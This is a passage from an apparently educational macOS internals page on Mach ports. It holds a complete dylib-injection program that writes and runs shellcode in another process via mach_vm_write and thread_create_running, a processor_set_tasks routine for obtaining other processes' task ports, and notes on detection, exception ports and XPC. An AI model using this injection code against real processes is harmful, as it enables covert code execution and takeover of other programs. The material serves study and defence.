remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, " _action_: path to a dylib on disk\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}
}bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>Thread Hijacking via Task port <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
In this technique a thread of the process is hijacked:
Task Port Injection Detection
When calling task_for_pid or thread_create_* increments a counter in the struct task from the kernel which can by accessed from user mode calling task_info(task, TASK_EXTMOD_INFO, ...)
Exception Ports
When a exception occurs in a thread, this exception is sent to the designated exception port of the thread. If the thread doesn't handle it, then it's sent to the task exception ports. If the task doesn't handle it, then it's sent to the host port which is managed by launchd (where it'll be acknowledge). This is called exception triage.
Note that at the end usually if not properly handle the report will end up being handle by the ReportCrash daemon. However, it's possible for another thread in the same task to manage the exception, this is what crash reporting tools like PLCreashReporter does.
Other Objects
Clock
Any user can access information about the clock however in order to set the time or modify other settings one has to be root.
In order to get info its possible to call functions from the clock subsystem like: clock_get_time, clock_get_attributtes or clock_alarm
In order to modify values the clock_priv subsystem can be sued with functions like clock_set_time and clock_set_attributes
Processors and Processor Set
The processor apis allows to control a single logical processor calling functions like processor_start, processor_exit, processor_info, processor_get_assignment...
Moreover, the processor set apis provides a way to group multiple processors into a group. It's possible to retrieve the default processor set calling processor_set_default.
These are some interesting APIs to interact with the processor set:
processor_set_statisticsprocessor_set_tasks: Return an array of send rights to all tasks inside the processor setprocessor_set_threads: Return an array of send rights to all threads inside the processor setprocessor_set_stack_usageprocessor_set_info
As mentioned in this post, in the past this allowed to bypass the previously mentioned protection to get task ports in other processes to control them by calling processor_set_tasks and getting a host port on every process.
Nowadays you need root to use that function and this is protected so you will only be able to get these ports on unprotected processes.
You can try it with:
processor_set_tasks code
c
// Maincpart fo the code from https://newosxbook.com/articles/PST2.html
//gcc ./port_pid.c -o port_pid
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/sysctl.h>
#include <libproc.h>
#include <mach/mach.h>
#include <errno.h>
#include <string.h>
#include <mach/exception_types.h>
#include <mach/mach_host.h>
#include <mach/host_priv.h>
#include <mach/processor_set.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>
#include <mach/task.h>
#include <mach/task_info.h>
#include <mach/mach_traps.h>
#include <mach/mach_error.h>
#include <mach/thread_act.h>
#include <mach/thread_info.h>
#include <mach-o/loader.h>
#include <mach-o/nlist.h>
#include <sys/ptrace.h>
mach_port_t task_for_pid_workaround(int Pid)
{
host_t myhost = mach_host_self(); // host self is host priv if you're root anyway..
mach_port_t psDefault;
mach_port_t psDefault_control;
task_array_t tasks;
mach_msg_type_number_t numTasks;
int i;
thread_array_t threads;
thread_info_data_t tInfo;
kern_return_t kr;
kr = processor_set_default(myhost, &psDefault);
kr = host_processor_set_priv(myhost, psDefault, &psDefault_control);
if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr);
mach_error("host_processor_set_priv",kr); exit(1);}
printf("So far so good\n");
kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); }
for (i = 0; i < numTasks; i++)
{
int pid;
pid_for_task(tasks[i], &pid);
printf("TASK %d PID :%d\n", i,pid);
char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) {
printf("Command line: %s\n", pathbuf);
} else {
printf("proc_pidpath failed: %s\n", strerror(errno));
}
if (pid == Pid){
printf("Found\n");
return (tasks[i]);
}
}
return (MACH_PORT_NULL);
} // end workaround
int main(int argc, char *argv[]) {
/*if (argc != 2) {
fprintf(stderr, "Usage: %s <PID>\n", argv[0]);
return 1;
}
pid_t pid = atoi(argv[1]);
if (pid <= 0) {
fprintf(stderr, "Invalid PID. Please enter a numeric value greater than 0.\n");
return 1;
}*/
int pid = 1;
task_for_pid_workaround(pid);
return 0;
}
```XPC
Basic Information
XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for communication between processes on macOS and iOS. XPC provides a mechanism for making safe, asynchronous method calls between different processes on the system. It's a part of Apple's security paradigm, allowing for the creation of privilege-separated applications where each component runs with only the permissions it needs to do its job, thereby limiting the potential damage from a compromised process.
For more information about how this communication work on how it could be vulnerable check:
MIG - Mach Interface Generator
MIG was created to simplify the process of Mach IPC code creation. This is because a lot of work to program RPC involves the same actions (packing arguments, sending the msg, unpacking the data in the server...).
MIC basically generates the needed code for server and client to communicate with a given definition (in IDL -Interface Definition language-). Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before.
For more info check:
References
- https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
- https://knight.sc/malware/2019/03/15/code-injection-on-macos.html
- https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
- https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/
- https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/
- *OS Internals, Volume I, User Mode, Jonathan Levin
- https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_get_special_port.html
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